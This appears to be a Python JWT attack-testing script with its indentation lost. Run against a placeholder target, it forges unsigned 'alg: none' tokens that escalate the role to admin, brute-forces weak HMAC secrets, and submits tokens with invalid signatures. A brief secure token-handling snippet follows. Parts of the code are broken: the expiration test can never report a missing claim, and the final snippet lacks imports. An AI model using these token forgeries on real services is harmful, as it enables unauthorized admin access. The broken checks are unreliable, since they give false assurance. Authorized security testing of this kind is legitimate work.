import base64
import json
import hmac
import hashlib
import requests
class JWTTester:
def __init__(self, base_url, original_token):
self.base_url = base_url
self.original_token = original_token
self.findings = []
def decode_jwt(self, token):
"""Decode JWT without verification"""
parts = token.split('.')
header = json.loads(self._b64_decode(parts[0]))
payload = json.loads(self._b64_decode(parts[1]))
return header, payload
def _b64_decode(self, data):
"""Base64 URL decode"""
padding = 4 - len(data) % 4
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _b64_encode(self, data):
"""Base64 URL encode"""
if isinstance(data, dict):
data = json.dumps(data, separators=(',', ':'))
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).decode().rstrip('=')
def test_none_algorithm(self):
"""Test algorithm none attack"""
print("[*] Testing 'none' algorithm attack...")
header, payload = self.decode_jwt(self.original_token)
new_header = {"alg": "none", "typ": "JWT"}
payload['role'] = 'admin'
new_token = f"{self._b64_encode(new_header)}.{self._b64_encode(payload)}."
response = requests.get(
f"{self.base_url}/api/protected",
headers={"Authorization": f"Bearer {new_token}"}
)
if response.status_code == 200:
print("[VULN] Algorithm 'none' accepted!")
self.findings.append({
"issue": "Algorithm none bypass",
"severity": "Critical"
})
def test_weak_secret(self):
"""Test for weak signing secrets"""
print("[*] Testing weak secrets...")
header, payload = self.decode_jwt(self.original_token)
if header.get('alg') not in ['HS256', 'HS384', 'HS512']:
print("[INFO] Not using HMAC algorithm")
return
common_secrets = [
'secret', 'password', '123456', 'key', 'private',
'changeme', 'admin', 'jwt_secret', 'test',
]
for secret in common_secrets:
test_token = self._sign_token(header, payload, secret)
response = requests.get(
f"{self.base_url}/api/protected",
headers={"Authorization": f"Bearer {test_token}"}
)
if response.status_code == 200:
print(f"[VULN] Weak secret found: '{secret}'")
self.findings.append({
"issue": f"Weak JWT secret: {secret}",
"severity": "Critical"
})
return
def _sign_token(self, header, payload, secret):
"""Sign token with HMAC-SHA256"""
header_b64 = self._b64_encode(header)
payload_b64 = self._b64_encode(payload)
message = f"{header_b64}.{payload_b64}"
signature = hmac.new(
secret.encode(),
message.encode(),
hashlib.sha256
).digest()
signature_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{message}.{signature_b64}"
def test_signature_validation(self):
"""Test if signature is validated"""
print("[*] Testing signature validation...")
parts = self.original_token.split('.')
modified_token = f"{parts[0]}.{parts[1]}.invalid_signature"
response = requests.get(
f"{self.base_url}/api/protected",
headers={"Authorization": f"Bearer {modified_token}"}
)
if response.status_code == 200:
print("[VULN] Invalid signature accepted!")
self.findings.append({
"issue": "No signature validation",
"severity": "Critical"
})
def test_expiration(self):
"""Test if expiration is enforced"""
print("[*] Testing expiration enforcement...")
header, payload = self.decode_jwt(self.original_token)
import time
payload['exp'] = int(time.time()) - 3600
if 'exp' not in payload:
print("[WARN] No expiration claim in token")
self.findings.append({
"issue": "Missing expiration claim",
"severity": "Medium"
})
def test_sensitive_data(self):
"""Check for sensitive data in payload"""
print("[*] Checking for sensitive data in payload...")
header, payload = self.decode_jwt(self.original_token)
sensitive_keys = ['password', 'secret', 'ssn', 'credit_card', 'api_key']
for key in payload:
if any(s in key.lower() for s in sensitive_keys):
print(f"[VULN] Sensitive data in payload: {key}")
self.findings.append({
"issue": f"Sensitive data in JWT: {key}",
"severity": "Medium"
})
tester = JWTTester("https://target.com", "your_jwt_token")
tester.test_none_algorithm()
tester.test_weak_secret()
tester.test_signature_validation()
tester.test_expiration()
tester.test_sensitive_data()
import jwt
from datetime import datetime, timedelta
SECRET_KEY = os.environ.get('JWT_SECRET')
def create_token(user_id, role):
payload = {
'sub': str(user_id),
'role': role,
'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(hours=1),
'jti': secrets.token_hex(16)
}
return jwt.encode(payload, SECRET_KEY, algorithm='HS256')
def verify_token(token):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=['HS256']
)
return payload
except jwt.ExpiredSignatureError:
raise AuthError("Token expired")
except jwt.InvalidTokenError:
raise AuthError("Invalid token")